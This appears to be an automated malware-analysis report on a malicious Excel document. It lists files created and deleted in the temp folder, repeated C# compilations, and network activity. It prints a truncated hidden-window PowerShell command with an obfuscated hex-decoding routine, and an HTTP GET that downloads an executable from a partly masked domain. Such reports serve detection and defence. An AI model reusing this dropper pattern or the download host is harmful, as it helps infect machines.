Technical Information
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function q2fb8f {param($u5c436)$f6f5e2='k4dfe6';$l52e25b='';for ($i=0; $i -lt $u5c436.length;$i+=2){$s64da8=[convert]::ToByte($u5c436.Substring($i,2),16);$l52e25b+=[char](...
Modifies file system
Creates the following files
- %TEMP%\_3ndd-0d.0.cs
- %TEMP%\nyvygvxj.dll
- %TEMP%\resc811.tmp
- %TEMP%\cscc7f0.tmp
- %TEMP%\nyvygvxj.out
- %TEMP%\nyvygvxj.cmdline
- %TEMP%\nyvygvxj.0.cs
- %TEMP%\mi-zm8jt.dll
- %TEMP%\res972d.tmp
- %TEMP%\csc971c.tmp
- %TEMP%\mi-zm8jt.out
- %TEMP%\mi-zm8jt.cmdline
- %TEMP%\mi-zm8jt.0.cs
- %TEMP%\wgmfbmtv.dll
- %TEMP%\res6ddb.tmp
- %TEMP%\csc6dca.tmp
- %TEMP%\wgmfbmtv.out
- %TEMP%\wgmfbmtv.cmdline
- %TEMP%\wgmfbmtv.0.cs
- %TEMP%\wjifddkr.dll
- %TEMP%\pyfaor5p.0.cs
- %TEMP%\pyfaor5p.out
- %TEMP%\yaspkaox.dll
- %TEMP%\cscda30.tmp
- %TEMP%\res34d4.tmp
- %TEMP%\csc34c4.tmp
- %TEMP%\yaspkaox.out
- %TEMP%\yaspkaox.cmdline
- %TEMP%\yaspkaox.0.cs
- %TEMP%\cf5qfzzu.dll
- %TEMP%\res1575.tmp
- %TEMP%\csc1574.tmp
- %TEMP%\cf5qfzzu.out
- %TEMP%\cf5qfzzu.cmdline
- %TEMP%\cf5qfzzu.0.cs
- %TEMP%\p2l7uh3-.dll
- %TEMP%\resfc50.tmp
- %TEMP%\cscfc3f.tmp
- %TEMP%\p2l7uh3-.out
- %TEMP%\p2l7uh3-.cmdline
- %TEMP%\p2l7uh3-.0.cs
- %TEMP%\pyfaor5p.dll
- %TEMP%\resda41.tmp
- %TEMP%\res5969.tmp
- %TEMP%\pyfaor5p.cmdline
- %TEMP%\csc5958.tmp
- %TEMP%\nysycze2.cmdline
- %TEMP%\csc33a0.tmp
- %TEMP%\csc3313.tmp
- %TEMP%\h0jbe2dv.out
- %TEMP%\h0jbe2dv.cmdline
- %TEMP%\h0jbe2dv.0.cs
- %TEMP%\jijtly50.out
- %TEMP%\jijtly50.cmdline
- %TEMP%\idhw_f69.out
- %TEMP%\idhw_f69.cmdline
- %TEMP%\jijtly50.0.cs
- %TEMP%\idhw_f69.0.cs
- %TEMP%\sectdavd.out
- %TEMP%\sectdavd.cmdline
- %TEMP%\sectdavd.0.cs
- %TEMP%\ahtt3cgr.out
- %TEMP%\ahtt3cgr.cmdline
- %TEMP%\ahtt3cgr.0.cs
- %TEMP%\_3ndd-0d.out
- %TEMP%\_3ndd-0d.cmdline
- %TEMP%\nysycze2.0.cs
- %TEMP%\nysycze2.out
- %TEMP%\wjifddkr.cmdline
- %TEMP%\res33b0.tmp
- %TEMP%\wjifddkr.0.cs
- %TEMP%\sectdavd.dll
- %TEMP%\idhw_f69.dll
- %TEMP%\jijtly50.dll
- %TEMP%\res4573.tmp
- %TEMP%\res4498.tmp
- %TEMP%\res437f.tmp
- %TEMP%\h0jbe2dv.dll
- %TEMP%\res42e3.tmp
- %TEMP%\csc4563.tmp
- %TEMP%\csc4488.tmp
- %TEMP%\csc436f.tmp
- %TEMP%\csc42d2.tmp
- %TEMP%\nysycze2.dll
- %TEMP%\res38b2.tmp
- %TEMP%\csc38a1.tmp
- %TEMP%\ahtt3cgr.dll
- %TEMP%\_3ndd-0d.dll
- %TEMP%\res3324.tmp
- %TEMP%\wjifddkr.out
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\content.word\~wrf{81765a6d-7b03-4dba-a38d-df9f304efaa1}.tmp
Deletes the following files
- %TEMP%\res3324.tmp
- %TEMP%\nyvygvxj.dll
- %TEMP%\nyvygvxj.out
- %TEMP%\nyvygvxj.pdb
- %TEMP%\nyvygvxj.0.cs
- %TEMP%\cscc7f0.tmp
- %TEMP%\resc811.tmp
- %TEMP%\mi-zm8jt.pdb
- %TEMP%\mi-zm8jt.out
- %TEMP%\mi-zm8jt.0.cs
- %TEMP%\mi-zm8jt.cmdline
- %TEMP%\nyvygvxj.cmdline
- %TEMP%\mi-zm8jt.dll
- %TEMP%\res972d.tmp
- %TEMP%\wgmfbmtv.out
- %TEMP%\wgmfbmtv.cmdline
- %TEMP%\wgmfbmtv.0.cs
- %TEMP%\wgmfbmtv.pdb
- %TEMP%\wgmfbmtv.dll
- %TEMP%\csc6dca.tmp
- %TEMP%\res6ddb.tmp
- %TEMP%\wjifddkr.pdb
- %TEMP%\wjifddkr.0.cs
- %TEMP%\csc971c.tmp
- %TEMP%\resda41.tmp
- %TEMP%\cscda30.tmp
- %TEMP%\pyfaor5p.0.cs
- %TEMP%\yaspkaox.dll
- %TEMP%\yaspkaox.out
- %TEMP%\yaspkaox.cmdline
- %TEMP%\csc34c4.tmp
- %TEMP%\res34d4.tmp
- %TEMP%\cf5qfzzu.cmdline
- %TEMP%\cf5qfzzu.out
- %TEMP%\cf5qfzzu.0.cs
- %TEMP%\cf5qfzzu.pdb
- %TEMP%\cf5qfzzu.dll
- %TEMP%\csc1574.tmp
- %TEMP%\res1575.tmp
- %TEMP%\p2l7uh3-.pdb
- %TEMP%\p2l7uh3-.0.cs
- %TEMP%\p2l7uh3-.dll
- %TEMP%\p2l7uh3-.cmdline
- %TEMP%\p2l7uh3-.out
- %TEMP%\cscfc3f.tmp
- %TEMP%\resfc50.tmp
- %TEMP%\pyfaor5p.cmdline
- %TEMP%\pyfaor5p.pdb
- %TEMP%\pyfaor5p.dll
- %TEMP%\pyfaor5p.out
- %TEMP%\wjifddkr.dll
- %TEMP%\yaspkaox.pdb
- %TEMP%\wjifddkr.cmdline
- %TEMP%\csc5958.tmp
- %TEMP%\csc42d2.tmp
- %TEMP%\res42e3.tmp
- %TEMP%\ahtt3cgr.cmdline
- %TEMP%\ahtt3cgr.pdb
- %TEMP%\ahtt3cgr.0.cs
- %TEMP%\ahtt3cgr.dll
- %TEMP%\ahtt3cgr.out
- %TEMP%\nysycze2.0.cs
- %TEMP%\nysycze2.dll
- %TEMP%\nysycze2.pdb
- %TEMP%\h0jbe2dv.dll
- %TEMP%\nysycze2.cmdline
- %TEMP%\_3ndd-0d.cmdline
- %TEMP%\_3ndd-0d.out
- %TEMP%\_3ndd-0d.pdb
- %TEMP%\_3ndd-0d.0.cs
- %TEMP%\_3ndd-0d.dll
- %TEMP%\csc38a1.tmp
- %TEMP%\res38b2.tmp
- %TEMP%\csc33a0.tmp
- %TEMP%\res33b0.tmp
- %TEMP%\csc3313.tmp
- %TEMP%\nysycze2.out
- %TEMP%\h0jbe2dv.out
- %TEMP%\h0jbe2dv.0.cs
- %TEMP%\h0jbe2dv.pdb
- %TEMP%\res5969.tmp
- %TEMP%\sectdavd.dll
- %TEMP%\sectdavd.pdb
- %TEMP%\sectdavd.0.cs
- %TEMP%\sectdavd.out
- %TEMP%\sectdavd.cmdline
- %TEMP%\jijtly50.0.cs
- %TEMP%\jijtly50.pdb
- %TEMP%\jijtly50.dll
- %TEMP%\jijtly50.out
- %TEMP%\jijtly50.cmdline
- %TEMP%\csc4563.tmp
- %TEMP%\res4573.tmp
- %TEMP%\idhw_f69.pdb
- %TEMP%\idhw_f69.cmdline
- %TEMP%\idhw_f69.out
- %TEMP%\idhw_f69.dll
- %TEMP%\idhw_f69.0.cs
- %TEMP%\csc4488.tmp
- %TEMP%\res4498.tmp
- %TEMP%\csc436f.tmp
- %TEMP%\res437f.tmp
- %TEMP%\h0jbe2dv.cmdline
- %TEMP%\wjifddkr.out
- %TEMP%\yaspkaox.0.cs
Network activity
TCP
HTTP GET requests
- http://da#####ji-8389.but.jp/blind/rlex.exe
UDP
- DNS ASK da#####ji-8389.but.jp
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function q2fb8f {param($u5c436)$f6f5e2='k4dfe6';$l52e25b='';for ($i=0; $i -lt $u5c436.length;$i+=2){$s64da8=[convert]::ToByte($u5c436.Substring($i,2),16);$l52e25b+=[char](...' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES1575.tmp" "%TEMP%\CSC1574.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\cf5qfzzu.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESFC50.tmp" "%TEMP%\CSCFC3F.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\p2l7uh3-.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESDA41.tmp" "%TEMP%\CSCDA30.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\pyfaor5p.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESC811.tmp" "%TEMP%\CSCC7F0.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\nyvygvxj.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES972D.tmp" "%TEMP%\CSC971C.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\mi-zm8jt.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES6DDB.tmp" "%TEMP%\CSC6DCA.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\wgmfbmtv.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES5969.tmp" "%TEMP%\CSC5958.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\yaspkaox.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\wjifddkr.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES4498.tmp" "%TEMP%\CSC4488.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES437F.tmp" "%TEMP%\CSC436F.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES42E3.tmp" "%TEMP%\CSC42D2.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES38B2.tmp" "%TEMP%\CSC38A1.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\nysycze2.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES33B0.tmp" "%TEMP%\CSC33A0.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES3324.tmp" "%TEMP%\CSC3313.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\h0jbe2dv.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\jijtly50.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\idhw_f69.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\sectdavd.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\ahtt3cgr.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\_3ndd-0d.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES4573.tmp" "%TEMP%\CSC4563.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES34D4.tmp" "%TEMP%\CSC34C4.tmp"' (with hidden window)
Executes the following
- '%ProgramFiles%\microsoft office\office14\excel.exe' -Embedding
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\yaspkaox.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES1575.tmp" "%TEMP%\CSC1574.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\cf5qfzzu.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESFC50.tmp" "%TEMP%\CSCFC3F.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\p2l7uh3-.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESDA41.tmp" "%TEMP%\CSCDA30.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\pyfaor5p.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESC811.tmp" "%TEMP%\CSCC7F0.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\nyvygvxj.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES972D.tmp" "%TEMP%\CSC971C.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\mi-zm8jt.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES6DDB.tmp" "%TEMP%\CSC6DCA.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\wgmfbmtv.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES5969.tmp" "%TEMP%\CSC5958.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\wjifddkr.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES4573.tmp" "%TEMP%\CSC4563.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES4498.tmp" "%TEMP%\CSC4488.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES437F.tmp" "%TEMP%\CSC436F.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES42E3.tmp" "%TEMP%\CSC42D2.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES38B2.tmp" "%TEMP%\CSC38A1.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\nysycze2.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES33B0.tmp" "%TEMP%\CSC33A0.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES3324.tmp" "%TEMP%\CSC3313.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\h0jbe2dv.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\jijtly50.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\idhw_f69.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\sectdavd.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\ahtt3cgr.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\_3ndd-0d.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES34D4.tmp" "%TEMP%\CSC34C4.tmp"
- '%ProgramFiles%\microsoft office\office14\excelcnv.exe' -Embedding
